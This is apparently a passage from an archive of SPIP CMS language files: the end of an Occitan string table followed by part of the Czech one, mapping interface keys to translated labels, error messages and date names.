reservat ai visitaires registrats.',
'pass_indiquez_cidessous' => 'Marcatz çai sota l’adreça e-mail dont
vos registreretz lo còup passat.
Receberetz un e-mail que vos balharà lo biais de
tornar trobar lo voastre accès.',
'pass_mail_passcookie' => '(aquò es un messatge automatic)
Per tornar trobar lo voastre accès au sit
@nom_site_spip@ (@adresse_site@)
Vorgatz anar à l’adreça seguenta:
@sendcookie@
Podretz intrar un mòt de santa Clara novèu
e vos tornar connectar au sit.
',
'pass_mot_oublie' => 'Mòt de santa Clara oblidat',
'pass_nouveau_enregistre' => 'Lo voastre novèu mòt de santa Clara es estat registrat.',
'pass_nouveau_pass' => 'Mòt de santa Clara novèu',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Denembrança dau mòt de santa Clara',
'pass_quitter_fenetre' => 'Quitar aquesta fenèstra ',
'pass_rappel_login' => 'Renembrança: lo voastre identificant (login) es « @login@ ».',
'pass_recevoir_mail' => 'Receberetz un e-mail que vos explicarà coma tornar trobar lo voastre accès au sit.',
'pass_retour_public' => 'Tornar au sit public',
'pass_rien_a_faire_ici' => 'Ren à faire aquí.',
'pass_vousinscrire' => 'S’inscriure sus aquest sit',
'precedent' => 'precedent',
'previsualisation' => 'Previsualisacion',
'previsualiser' => 'Previsualisar',
// R
'retour' => 'Tornar',
// S
'spip_conforme_dtd' => 'SPIP considèra aqueu document coma confòrm au sieu DOCTYPE :',
'squelette' => 'esqueleta',
'squelette_inclus_ligne' => 'esqueleta inclusa, linha',
'squelette_ligne' => 'esqueleta, linha',
'stats_visites_et_popularite' => '@visites@ visitas ; popularitat : @popularite@',
'suivant' => 'seguent',
// T
'taille_ko' => '@taille@ Ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quora seretz familharisat/ada mé l’interfaça, podretz clicar sus «',
'texte_actualite_site_2' => 'interfaça completa',
'texte_actualite_site_3' => '» per aver mai de possibilitats.',
'texte_creation_automatique_vignette' => 'La creacion automatica de vinhetas de previsualisacion es activada sus aqueu sit. S’installatz à partir d’aqueu formulari d’imatges au(ai) format(s) @gd_formats@, seràn acompanhats d’una vinheta d’una talha maximala de @taille_preview@ pixèls.',
'texte_documents_associes' => 'Lu documents seguents son associats à l’article, ma son pas estats drech inserits. Segon la compaginacion dau sit public, podràn aparéisser sota forma de documents jonchs.',
'texte_erreur_mise_niveau_base' => 'Error de basa de donadas pendent la mesa à nivèu. L’imatge <b>@fichier@</b> es pas passat (article @id_article@).
Notatz ben aquela referença, tornatz ensajar la mesa à nivèu, e verificatz pi que lu imatges aparéisson encara dins lu articles.',
'texte_erreur_visiteur' => 'Avètz provat d’accèdre à l’espaci privat m’un identificant que lo permete pas.',
'texte_inc_auth_1' => 'Siètz identificat/ada coma
<b>@auth_login@</b>, ma aqueu login existisse pas ò pas plus mai dins la basa.
Temptatz de vos',
'texte_inc_auth_2' => 'tornar connectar',
'texte_inc_auth_3' => ', après aver eventualament quitat pi
tornat lançar lo voastre navigador.',
'texte_inc_config' => 'Li modificacions fachi dins aquesti pàginas influençan bravament lo
foncionament dau voastre sit. Vos aconselham de pas i intervenir tant que siètz pas
acostumat/ada au foncionament dau sistema SPIP. <br /><br /><b>
En generau, si conselha foart
de laissar la carga d’aquesti pàginas au webmèstre principau dau voastre sit.</b>',
'texte_inc_meta_1' => 'Lo sistèma a rescontrat un error dins l’escritura dau fichier <code>@fichier@</code>. Vorgatz, coma administrator/triz dau sit,',
'texte_inc_meta_2' => 'verificar lu drechs d’escritura',
'texte_inc_meta_3' => 'sus lo repertòri <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cors de redaccion',
'texte_statut_poubelle' => 'au bordilhier',
'texte_statut_propose_evaluation' => 'prepauat per evaluacion',
'texte_statut_publie' => 'publicat en linha',
'texte_statut_refuse' => 'refudat',
'titre_ajouter_mot_cle' => 'AJUSTAR UN MÒT CLAU :',
'titre_cadre_raccourcis' => 'ESCORCHAS :',
'titre_changer_couleur_interface' => 'Cambiar la color de l’interfaça',
'titre_image_admin_article' => 'Podetz administrar aquel article',
'titre_image_administrateur' => 'Administrator',
'titre_image_aide' => 'D’ajuda sus aquel element',
'titre_image_auteur_supprime' => 'Autor suprimit',
'titre_image_redacteur' => 'Redactor sensa accès',
'titre_image_redacteur_02' => 'Redactor',
'titre_image_visiteur' => 'Visitaire',
'titre_joindre_document' => 'JÓNHER UN DOCUMENT',
'titre_mots_cles' => 'MÒTS CLAUS',
'titre_probleme_technique' => 'Atencion : un problema tecnic (servidor SQL) empacha d’accedir à-n-aquela part dau sit. Mercé de la voastra indulgença.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENT DINS AQUELA RUBRICA',
'titre_statistiques' => 'Estatisticas dau sit',
'titre_titre_document' => 'Titre dau document :',
'todo' => 'De venir',
'trad_reference' => '(referença dei reviradas)',
// Z
'zbug_balise_b_aval' => ' : balisa B en aval',
'zbug_balise_inexistante' => 'Balisa @balise@ mau declarada per @from@ ',
'zbug_boucle' => 'bloca',
'zbug_boucle_recursive_undef' => 'bloca recursiva non definida',
'zbug_champ_hors_boucle' => 'Camp @champ@ fòra bloca',
'zbug_champ_hors_motif' => 'Camp @champ@ en defòra d’una bloca de motiu @motif@',
'zbug_code' => 'còde',
'zbug_critere_inconnu' => 'critèri esconoissut @critere@',
'zbug_distant_interdit' => 'extèrne proïbit',
'zbug_doublon_table_sans_cle_primaire' => 'doblons sus una taula sensa clau primari atomica',
'zbug_doublon_table_sans_index' => 'doblons sus una taula sensa indèx',
'zbug_erreur_boucle_double' => 'BLOCA@id@: definicion dobla',
'zbug_erreur_boucle_fermant' => 'BLOCA@id@: lo tag barrador manca',
'zbug_erreur_boucle_syntaxe' => 'Sintaxi bloca incorrècta',
'zbug_erreur_compilation' => 'Error de compilacion',
'zbug_erreur_execution_page' => 'error d’execucion de la pàgina',
'zbug_erreur_filtre' => 'Error: filtre <b>« @filtre@ »</b> non definit',
'zbug_erreur_meme_parent' => '{meme_parent} s’aplica unicament ai blocas (FORUMS) ò (RUBRIQUES)',
'zbug_erreur_squelette' => 'Error(s) dins l’esqueleta',
'zbug_info_erreur_squelette' => 'Error sobre lo sit',
'zbug_inversion_ordre_inexistant' => 'inversion d’un òrdre inexistent',
'zbug_pagination_sans_critere' => 'Balisa #PAGINATION sensa critèri {pagination} ò emplegada dins una bocla recursiva',
'zbug_parametres_inclus_incorrects' => 'Paramètres d’inclusion incorrèctes',
'zbug_profile' => 'Temps de calcul : @time@',
'zbug_resultat' => 'resultat',
'zbug_serveur_indefini' => 'servidor SQL endefinit',
'zbug_table_inconnue' => 'Taula SQL « @table@ » esconoissuda',
'zxml_connus_attributs' => 'atributs conoissuts',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atribut pas conoissut',
'zxml_inconnu_balise' => 'balisa pas conoissuda',
'zxml_inconnu_entite' => 'entitat pas conoissuda',
'zxml_inconnu_id' => 'ID pas conoissut',
'zxml_mais_de' => 'ma de',
'zxml_non_conforme' => 'es pas confòrm au motiu',
'zxml_non_fils' => 'es pas un enfant de',
'zxml_nonvide_balise' => 'balisa non vuèia',
'zxml_obligatoire_attribut' => 'atribut obligatòri ma absent dins',
'zxml_succession_fils_incorrecte' => 'succession dei enfants incorrècte',
'zxml_survoler' => 'susvolar per veire lu corrèctes',
'zxml_valeur_attribut' => 'valor de l’atribut',
'zxml_vide_balise' => 'balise vuèia',
'zxml_vu' => 'vist adés'
);
?>
spip_cs.php 0000666 00000100350 15252547432 0006731 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Čeština [cs]',
'0_liste' => 'spip-cs@rezo.net',
'0_mainteneur' => 'otto@pacholik.cz',
// A
'access_interface_graphique' => 'Zpět do kompletního grafického rozhraní',
'access_mode_texte' => 'Zobrazit jednoduché textové rozhraní',
'admin_debug' => 'ladění',
'admin_modifier_article' => 'Změnit článek',
'admin_modifier_auteur' => 'Změnit autora',
'admin_modifier_breve' => 'Změnit tuto zprávu',
'admin_modifier_mot' => 'Změnit klíčové slovo',
'admin_modifier_rubrique' => 'Změnit sekci',
'admin_recalculer' => 'Obnovit stránku',
'afficher_trad' => 'vyvěsit překlady',
'alerte_maj_impossible' => '<b>Varování!</b> Aktualizace databáze SQL na verzi @version@ se nezdařila. Je možné, že je to kvůli problémům s přístupovými právy k databázi. Kontaktujte svého poskytovatele připojení k internetu (ISP).',
'alerte_modif_info_concourante' => 'VAROVÁNÍ: Tato informace byla změněna na jiném místě. Současná hodnota je :',
'analyse_xml' => 'XML parsování',
'annuler' => 'Storno',
'antispam_champ_vide' => 'Tuto položku nechte prosím prázdnou:',
'articles_recents' => 'Nedávné články',
'avis_archive_incorrect' => 'soubor není platným SPIP archivem',
'avis_archive_invalide' => 'neplatný soubor archívu',
'avis_attention' => 'POZOR!',
'avis_champ_incorrect_type_objet' => 'Naplatný název pole @name@ objektu typu @type@',
'avis_colonne_inexistante' => 'Sloupec @col@ neexistuje',
'avis_erreur' => 'Chyba: viz níže;',
'avis_erreur_connexion' => 'Chyba při spojení',
'avis_erreur_cookie' => 'Problémy se sušenkou :-) (cookie)',
'avis_erreur_fonction_contexte' => 'Programátorská chyba. Funkce by neměla být v tomto kontextu volána.',
'avis_erreur_mysql' => 'Chyba SQL',
'avis_erreur_sauvegarde' => 'Chyba v zálohování (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problém při vstupu do privátní zóny',
// B
'barre_a_accent_grave' => 'Zadejte velké A s obrácenou čárkou (`)',
'barre_aide' => 'Vzhled stránek (layout) dolaďte pomocí typografických zkratek',
'barre_e_accent_aigu' => 'Zadejte písmeno É',
'barre_eo' => 'Zadejte písmeno oe',
'barre_eo_maj' => 'Zadejte písmeno EO',
'barre_euro' => 'Zadejte symbol €',
'barre_gras' => 'Zadejte {{tučné písmo}}',
'barre_guillemets' => 'Umístěte znaky do dvojitých uvozovek (")',
'barre_guillemets_simples' => 'Umístěte znaky do jednoduchých uvozovek (‘)',
'barre_intertitre' => 'Změňte na {{{podzáhlaví}}}',
'barre_italic' => 'Zadejte {kurzívou}',
'barre_lien' => 'Změnit na [hypertextový odkaz->http://...]',
'barre_lien_input' => 'Zadejte cíl hypertextového odkazu (adresu URL ve formátu http://www.mysite.com nebo číslo článku na těchto stránkách).',
'barre_note' => 'Změnit na [[poznámku pod čarou]]',
'barre_paragraphe' => 'Vytvořit odstavec',
'barre_quote' => '<quote>Citovat zprávu</quote>',
'bouton_changer' => 'Změnit',
'bouton_chercher' => 'Najít',
'bouton_choisir' => 'Vybrat',
'bouton_download' => 'Download', # MODIF
'bouton_enregistrer' => 'Uložit',
'bouton_radio_desactiver_messagerie_interne' => 'Vypnout interní hlášení',
'bouton_radio_envoi_annonces' => 'Zaslat editorská oznámení',
'bouton_radio_non_envoi_annonces' => 'Nezasílat žádná oznámení',
'bouton_radio_non_envoi_liste_nouveautes' => 'Nezasílat seznam nejnovějších zpráv',
'bouton_recharger_page' => 'znovu načíst tuto stránku',
'bouton_telecharger' => 'Odeslat',
'bouton_upload' => 'Odeslat', # MODIF
'bouton_valider' => 'Odeslat',
// C
'cal_apresmidi' => 'odpoledne',
'cal_jour_entier' => 'celý den',
'cal_matin' => 'dopoledne',
'cal_par_jour' => 'zobrazení jednotlivých dnů',
'cal_par_mois' => 'zobrazení celého měsíce',
'cal_par_semaine' => 'zobrazení celých týdnů',
'choix_couleur_interface' => 'barva',
'choix_interface' => 'volba rozhraní',
'colonne' => 'Sloupec',
'confirm_changer_statut' => 'Je nutné potvrzení akce: Požádali jste o změnu stavu článku. Chcete pokračovat?',
'correcte' => 'správně',
// D
'date_aujourdhui' => 'dnes',
'date_avant_jc' => 'př. n. l.',
'date_dans' => 'během @delai@',
'date_de_mois_1' => '@j@ ledna',
'date_de_mois_10' => '@j@ října',
'date_de_mois_11' => '@j@ listopadu',
'date_de_mois_12' => '@j@ prosince',
'date_de_mois_2' => '@j@ února',
'date_de_mois_3' => '@j@ března',
'date_de_mois_4' => '@j@ dubna',
'date_de_mois_5' => '@j@ května',
'date_de_mois_6' => '@j@ června',
'date_de_mois_7' => '@j@ července',
'date_de_mois_8' => '@j@ srpna',
'date_de_mois_9' => '@j@ září',
'date_demain' => 'zítra',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@date@ @nomjour@',
'date_heures' => 'hodin',
'date_hier' => 'včera',
'date_il_y_a' => 'před @delai@',
'date_jnum1' => '1.',
'date_jnum10' => '10.',
'date_jnum11' => '11.',
'date_jnum12' => '12.',
'date_jnum13' => '13.',
'date_jnum14' => '14.',
'date_jnum15' => '15.',
'date_jnum16' => '16.',
'date_jnum17' => '17.',
'date_jnum18' => '18.',
'date_jnum19' => '19.',
'date_jnum2' => '2.',
'date_jnum20' => '20.',
'date_jnum21' => '21.',
'date_jnum22' => '22.',
'date_jnum23' => '23.',
'date_jnum24' => '24.',
'date_jnum25' => '25.',
'date_jnum26' => '26.',
'date_jnum27' => '27.',
'date_jnum28' => '28.',
'date_jnum29' => '29.',
'date_jnum3' => '3.',
'date_jnum30' => '30.',
'date_jnum31' => '31.',
'date_jnum4' => '4.',
'date_jnum5' => '5.',
'date_jnum6' => '6.',
'date_jnum7' => '7.',
'date_jnum8' => '8.',
'date_jnum9' => '9.',
'date_jour_1' => 'neděle',
'date_jour_1_abbr' => 'Ne.',
'date_jour_1_initiale' => 'N.',
'date_jour_2' => 'pondělí',
'date_jour_2_abbr' => 'Po.',
'date_jour_2_initiale' => 'P.',
'date_jour_3' => 'úterý',
'date_jour_3_abbr' => 'Út.',
'date_jour_3_initiale' => 'Ú.',
'date_jour_4' => 'středa',
'date_jour_4_abbr' => 'St.',
'date_jour_4_initiale' => 'S.',
'date_jour_5' => 'čtvrtek',
'date_jour_5_abbr' => 'Čt.',
'date_jour_5_initiale' => 'Č.',
'date_jour_6' => 'pátek',
'date_jour_6_abbr' => 'Pá.',
'date_jour_6_initiale' => 'P.',
'date_jour_7' => 'sobota',
'date_jour_7_abbr' => 'So.',
'date_jour_7_initiale' => 'S.',
'date_jours' => 'dnů',
'date_minutes' => 'minut',
'date_mois' => 'měsíců',
'date_mois_1' => 'Leden',
'date_mois_10' => 'Říjen',
'date_mois_11' => 'Listopad',
'date_mois_12' => 'Prosinec',
'date_mois_2' => 'Únor',
'date_mois_3' => 'Březen',
'date_mois_4' => 'Duben',
'date_mois_5' => 'Květen',
'date_mois_6' => 'Červen',
'date_mois_7' => 'Červenec',
'date_mois_8' => 'Srpen',
'date_mois_9' => 'Září',
'date_saison_1' => 'zima',
'date_saison_2' => 'jaro',
'date_saison_3' => 'léto',
'date_saison_4' => 'podzim',
'date_semaines' => 'týdnů',
'dirs_commencer' => 'pro vlastní zahájení instalace',
'dirs_preliminaire' => 'Předběžná akce: <b>Nastavení přístupových práv</b>',
'dirs_probleme_droits' => 'Problém s přístupovými právy',
'dirs_repertoires_absents' => '<p><b>Nebyl nalezen adresář, resp. adresáře:</b></p> <ul>@bad_dirs@.</ul>
<p>Může to být kvůli nesprávnému zadání velkých a malých písmen.
Zkontrolujte, zda malá a velká písmena uvedeného adresáře, resp. adresářů souhlasí s tím,
co je uvedeno výše. Pokud ne, přejmenujte adresáře pomocí klienta programu FTP. Tím chybu opravíte.</p>
<p>Poté můžete',
'dirs_repertoires_suivants' => '<p><b>K následujícímu adresáři, resp. adresářům chybí právo zápisu:</b></p><ul>@bad_dirs@.</ul>
<p>Změňte tato práva pomocí klienta FTP a nastavte práva přístupu jednotlivých adresářů
Podrobný popis je v návodu k instalaci.</p>
<p>Poté můžete ',
'double_occurrence' => 'Dvě instance', # MODIF
// E
'en_cours' => 'probíhá zpracování',
'envoi_via_le_site' => 'Odeslat pomocí webu',
// F
'fichier_introuvable' => 'Nalezen nový soubor: @fichier@',
'form_deja_inscrit' => 'Už jste zaregistrováni.',
'form_email_non_valide' => 'Neplatná elektronická adresa.',
'form_forum_access_refuse' => 'K tomuto webu již nemáte přístup.',
'form_forum_bonjour' => 'Dobrý den @nom@,',
'form_forum_email_deja_enregistre' => 'Tato elektronická adresa je již zaregistrována. Můžete tedy používat své obvyklé heslo.',
'form_forum_identifiant_mail' => 'Nové identifikační údaje vám byly odeslány elektronickou poštou.',
'form_forum_identifiants' => 'Osobní identifikační údaje',
'form_forum_indiquer_nom_email' => 'Zadejte jméno a elektronickou adresu. Osobní identifikační údaje obdržíte v brzké době elektronickou poštou.',
'form_forum_login' => 'Login:',
'form_forum_message_auto' => '(toto je automatická zpráva)',
'form_forum_pass' => 'Heslo:',
'form_forum_probleme_mail' => 'Problémy s elektronickou poštou: Odeslání identifikačních údajů se nezdařilo.',
'form_forum_voici1' => 'Zde jsou identifikační údaje umožňující účast na aktivitách tohoto webu
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Zde jsou identifikační údaje, které vám umožní publikovat články
na webu "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Zadejte svůj e-mail.',
'form_indiquer_nom' => 'Zadejte své jméno.',
'form_indiquer_nom_site' => 'Zadejte název svého webu.',
'form_pet_deja_enregistre' => 'Tento web je již zaregistrován',
'form_pet_signature_pasprise' => 'Váš podpis nebyl zohledněn.',
'form_prop_confirmer_envoi' => 'Potvrďte odeslání',
'form_prop_description' => 'Popis/poznámka',
'form_prop_enregistre' => 'Váš návrh byl zaregistrován. Po kontrole správci tohoto webu bude zvěřejněn online.',
'form_prop_envoyer' => 'Odeslat zprávu',
'form_prop_indiquer_email' => 'Zadejte platnou elektronickou adresu',
'form_prop_indiquer_nom_site' => 'Zadejte název webu.',
'form_prop_indiquer_sujet' => 'Zadejte předmět',
'form_prop_message_envoye' => 'Zpráva byla odeslána',
'form_prop_non_enregistre' => 'Váš návrh byl zaznamenán.',
'form_prop_sujet' => 'Předmět',
'form_prop_url_site' => 'Adresa URL webu', # MODIF
'forum_non_inscrit' => 'Buď nejste zaregistrováni nebo jste zadali nesprávnou adresu či heslo.',
'forum_par_auteur' => 'Autor: @auteur@',
'forum_titre_erreur' => 'Chyba...',
// I
'ical_texte_rss_articles' => 'Adresa souboru na serveru (backend) článků na webu je:',
'ical_texte_rss_articles2' => 'Můžete získat i serverové soubory k článkům z jednotlivých sekcí webu:',
'ical_texte_rss_breves' => 'Dále existuje soubor obsahující novinky z webu. Zadáním čísla sekce získáte pouze novinky týkající se dané sekce.',
'icone_a_suivre' => 'Hlavní nabídka',
'icone_admin_site' => 'Správa webu',
'icone_agenda' => 'Kalendář',
'icone_aide_ligne' => 'Nápověda',
'icone_articles' => 'Články',
'icone_auteurs' => 'Autoři',
'icone_brouteur' => 'Rychlé procházení',
'icone_configuration_site' => 'Nastavení',
'icone_configurer_site' => 'Nastavte svůj web',
'icone_creer_nouvel_auteur' => 'Vytvořit nového autora',
'icone_creer_rubrique' => 'Vytvořit sekci',
'icone_creer_sous_rubrique' => 'Vytvořit podsekci',
'icone_deconnecter' => 'Odhlásit',
'icone_discussions' => 'Diskuse',
'icone_doc_rubrique' => 'Dokumenty v příloze',
'icone_ecrire_article' => 'Napsat nový článek',
'icone_edition_site' => 'Editovat web',
'icone_gestion_langues' => 'Správa jazyků',
'icone_informations_personnelles' => 'Osobní údaje',
'icone_interface_complet' => 'Úplné rozhraní',
'icone_interface_simple' => 'Jednoduché rozhraní',
'icone_maintenance_site' => 'Údržba webu',
'icone_messagerie_personnelle' => 'Osobní zprávy',
'icone_repartition_debut' => 'Zobrazit rozdělení od počátku',
'icone_rubriques' => 'Sekce',
'icone_sauver_site' => 'Uložení webu',
'icone_site_entier' => 'Všechny stránky',
'icone_sites_references' => 'Stránky na něž existují odkazy',
'icone_statistiques' => 'Statistiky stránek',
'icone_suivi_activite' => 'Sledování aktivity webu',
'icone_suivi_actualite' => 'Statistiky stránek',
'icone_suivi_pettions' => 'Správa peticí',
'icone_suivi_revisions' => 'Revize článků',
'icone_supprimer_document' => 'Odstranit dokument',
'icone_supprimer_image' => 'Odstranit obrázek',
'icone_tous_articles' => 'Všechny vaše články',
'icone_tous_auteur' => 'Všichni autoři',
'icone_visiter_site' => 'Zobrazit web', # MODIF
'icone_voir_en_ligne' => 'Prohlížet online',
'img_indisponible' => 'Obrázek není k dispozici',
'impossible' => 'nemožné',
'info_a_suivre' => 'HLAVNÍ NABÍDKA"',
'info_acces_interdit' => 'Přístup zakázán',
'info_acces_refuse' => 'Přístup odepřen',
'info_action' => 'Akce: @action@',
'info_administrer_rubriques' => 'Můžete provádět údržbu této sekce a jejích podsekcí',
'info_adresse_non_indiquee' => 'Nezadali jste, která adresa se má otestovat!',
'info_aide' => 'NÁPOVĚDA:',
'info_ajouter_mot' => 'Přidat klíčové slovo',
'info_annonce' => 'OZNÁMENÍ',
'info_annonces_generales' => 'Obecná oznámení:',
'info_article_propose' => 'Článek byl odeslán',
'info_article_publie' => 'Článek byl zveřejněn',
'info_article_redaction' => 'Články ve zpracování',
'info_article_refuse' => 'Odmítnuté články',
'info_article_supprime' => 'Odstraněné články',
'info_articles' => 'Články',
'info_articles_a_valider' => 'Články ke schválení',
'info_articles_proposes' => 'Předložené články',
'info_auteurs_nombre' => 'Autor či autoři:',
'info_authentification_ftp' => 'Autentifikace (pomocí FTP).',
'info_breves_2' => 'novinky',
'info_connexion_refusee' => 'Spojení bylo odepřeno',
'info_contact_developpeur' => 'Kontaktujte vývojáře.',
'info_contenance' => 'Tyto stránky obsahují:',
'info_contribution' => 'příspěvky do diskusní skupiny', # MODIF
'info_copyright' => '@spip@ je freeware distribuovaný @lien_gpl@.',
'info_copyright_doc' => 'Bližší informace viz <a href="@spipnet@">http://www.spip.net/en</a>.', # MODIF
'info_copyright_gpl' => 'v rámci licence GPL',
'info_cours_edition' => 'Vaše rozpracované články',
'info_creer_repertoire' => 'Vytvořte soubor nebo adresář s názvem:',
'info_creer_repertoire_2' => 'v podadresáři <b>@repertoire@</b>. Potom',
'info_creer_vignette' => 'automatické vytvoření náhledu',
'info_deplier' => 'Rozbalit',
'info_descriptif_nombre' => 'Popis:',
'info_description' => 'Popis:',
'info_description_2' => 'Popis:',
'info_dimension' => 'Velikost:',
'info_ecire_message_prive' => 'Napsat soukromou zprávu',
'info_email_invalide' => 'Neplatný e-mail.',
'info_en_cours_validation' => 'Vaše rozpracované články',
'info_en_ligne' => 'Nyní online:',
'info_envoyer_message_prive' => 'Odeslat soukromou zprávu tomuto autorovi',
'info_erreur_requete' => 'Chyba při databázovém dotazu:',
'info_erreur_squelette2' => 'Neexistující šablona <b>@fichier@</b>...',
'info_erreur_systeme' => 'Systémová chyba (číslo: @errsys@)',
'info_erreur_systeme2' => 'Pevný disk může být plný nebo může být poškozen. <br />
<span style="color:red;">Zkuste <a href=\'@script@\'>opravit databázi</a>, nebo kontaktujte svého poskytovatele prostoru pro web.</span>', # MODIF
'info_fini' => 'Hotovo!',
'info_format_image' => 'Formát obrázku pro tvorbu náhledů: @gd_formats@.',
'info_format_non_defini' => 'formát není definován',
'info_grand_ecran' => 'Velké zobrazení',
'info_image_aide' => 'NÁPOVĚDA',
'info_image_process_titre' => 'Návod k vytvoření náhledů',
'info_impossible_lire_page' => '<b>Chyba!</b> Stránku nelze číst <tt><html>@test_proxy@</html></tt> přes proxy bránu <tt>', # MODIF
'info_installation_systeme_publication' => 'Instalace publikačního systému ...',
'info_installer_documents' => 'Všechny dokumenty ve složce @upload@ lze nainstalovat automaticky.',
'info_installer_ftp' => 'Jako správce můžete instalovat (pomocí FTP) soubory do složky @upload@ a následně je odtamtud můžete přímo vybírat.',
'info_installer_images' => 'Obrázky lze instalovat ve formátu JPEG, GIF a PNG.',
'info_installer_images_dossier' => 'Nainstalujte obrázky do složky @upload@, abyste je odtamtud mohli vybírat.',
'info_interface_complete' => 'úplné rozhraní',
'info_interface_simple' => 'jednoduché rozhraní',
'info_joindre_document_article' => 'K článku lze připojit dokumenty ve formátu',
'info_joindre_document_rubrique' => 'K této sekci můžete přidávat dokumenty ve formátu',
'info_joindre_documents_article' => 'K článku můžete přidávat dokumenty ve formátu:',
'info_l_article' => 'článek',
'info_la_breve' => 'novinka',
'info_la_rubrique' => 'sekce',
'info_langue_principale' => 'Hlavní jazyk stránek',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixelů',
'info_les_auteurs_1' => 'od @les_auteurs@',
'info_logo_format_interdit' => 'Loga jsou povolena pouze ve formátu @formats@.',
'info_logo_max_poids' => 'Log nesmí být větší než @maxi@ (tento soubor má velikost @actuel@).',
'info_mail_fournisseur' => 'you@isp.com',
'info_message_2' => 'ZPRÁVA',
'info_message_supprime' => 'ZPRÁVA BYLA ODSTRANĚNA',
'info_mise_en_ligne' => 'Datum zveřejnění online:',
'info_modification_parametres_securite' => 'úprava bezpečnostních parametrů',
'info_mois_courant' => 'V měsíci:',
'info_mot_cle_ajoute' => 'Bylo přidáno toto klíčové slovo',
'info_multi_herit' => 'Výchozí jazyk',
'info_multi_langues_soulignees' => 'Jazyky <u>zobrazené podtrženě</u> mají přeloženo celé rozhraní. Pokue je zvolíte, bude automaticky přeložena celá řada položek veřejných stráneki(data, formuláře). U jazyků, které nejsou podtrženy, budou tyto položky zobrazeny v hlavním jazyce stránek.', # MODIF
'info_multilinguisme' => 'Vícejazyčné',
'info_nom_non_utilisateurs_connectes' => 'Vaše jméno není uvedeno na seznamu připojených uživatelů.',
'info_nom_utilisateurs_connectes' => 'Vaše jméno je uvedeno na seznamu připojených uživatelů.',
'info_nombre_en_ligne' => 'Aktuálně online:',
'info_non_resultat' => 'Źádné výsledky pro "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nepoužíváte systém pro interní zasílání zpráv v rámci těchto stránek.',
'info_nouveau_message' => 'MÁTE NOVOU ZPRÁVU',
'info_nouveaux_messages' => 'MÁTE CELKEM @total_messages@ NOVÝCH ZPRÁV',
'info_numero_abbreviation' => 'č.',
'info_pense_bete' => 'POZNÁMKA',
'info_petit_ecran' => 'Malý displej',
'info_pixels' => 'pixelů',
'info_plusieurs_mots_trouves' => 'Pro "@cherche_mot@" bylo nalezeno několik klíčových slov:',
'info_portfolio_automatique' => 'Automatizované portfolio:',
'info_premier_resultat' => '[@debut_limit@ prvních výsledků z @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ prvních výsledků z @total@]',
'info_propose_1' => '[@nom_site_spip@] Předloženo: @titre@',
'info_propose_2' => 'Předložen článek
-----------------',
'info_propose_3' => 'Článek "@titre@" byl předložen ke zveřejnění.',
'info_propose_4' => 'Prosím, přečtěte si jej a sdělte svůj názor',
'info_propose_5' => 'v diskusní skupině, na níž navazuje. Je k dispozici na adrese:',
'info_publie_01' => 'Článek "@titre@" byl schválen @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] ZVEŘEJNĚNO: @titre@',
'info_publie_2' => 'Zveřejněný článek
-----------------',
'info_rechercher' => 'Najít',
'info_rechercher_02' => 'Najít:',
'info_remplacer_vignette' => 'Nahradit standardní náhled vlastním logem:',
'info_sans_titre_2' => 'bez názvu',
'info_selectionner_fichier' => 'Můžete vybrat soubor ze složky @upload@',
'info_selectionner_fichier_2' => 'Vybrat soubor:',
'info_supprimer_vignette' => 'odstranit náhled',
'info_symbole_bleu' => '<b>Modrým</b> symbolem je označena <b>interní poznámka</b>, tj. zpráva určená pro osobní potřebu.', # MODIF
'info_symbole_jaune' => '<b>Žlutým</b> symbolem je označena <b>zpráva pro všechny redaktory</b>: může ji upravovat kterýkoli ze správců a zobrazuje se všem redaktorům.', # MODIF
'info_symbole_vert' => '<b>Zeleným</b> symbolem jsou označeny <b>zprávy vyměňované s ostatními uživateli</b> webu.', # MODIF
'info_telecharger_nouveau_logo' => 'Odeslat nové logo:',
'info_telecharger_ordinateur' => 'Odeslat z počítače:',
'info_tous_resultats_enregistres' => '[všechny výsledky jsou zapsány]',
'info_tout_afficher' => 'Zobrazit vše',
'info_travaux_texte' => 'Tyto stránky nejsou ještě nastaveny. Navštivte je, prosím, později...',
'info_travaux_titre' => 'Na webu se pracuje',
'info_trop_resultat' => 'Pro: "@cherche_mot@" bylo zobrazeno příliš mnoho výsledků. Zadejte podrobnější kritéria pro vyhledávání.',
'info_utilisation_messagerie_interne' => 'U tohoto webu používáte systém interních zpráv.',
'info_valider_lien' => 'schválit tento odkaz',
'info_verifier_image' => ', zkontrolujte, zda jste obrázky přenesli správně.',
'info_vignette_defaut' => 'Výchozí náhled',
'info_vignette_personnalisee' => 'Vlastní náhled',
'info_visite' => 'návštěvy:',
'info_vos_rendez_vous' => 'Vaše budoucí schůzky',
'infos_vos_pense_bete' => 'Vaše poznámky', # MODIF
// L
'lien_afficher_icones_seuls' => 'Zobrazit pouze ikony',
'lien_afficher_texte_icones' => 'Zobrazit ikony a text',
'lien_afficher_texte_seul' => 'Zobrazit pouze text',
'lien_liberer' => 'verze',
'lien_liberer_tous' => 'uvolnit tyto články', # MODIF
'lien_nouvea_pense_bete' => 'NOVÁ POZNÁMKA',
'lien_nouveau_message' => 'NOVÁ ZPRÁVA',
'lien_nouvelle_annonce' => 'NOVÉ OZNÁMENÍ',
'lien_petitions' => 'PETICE',
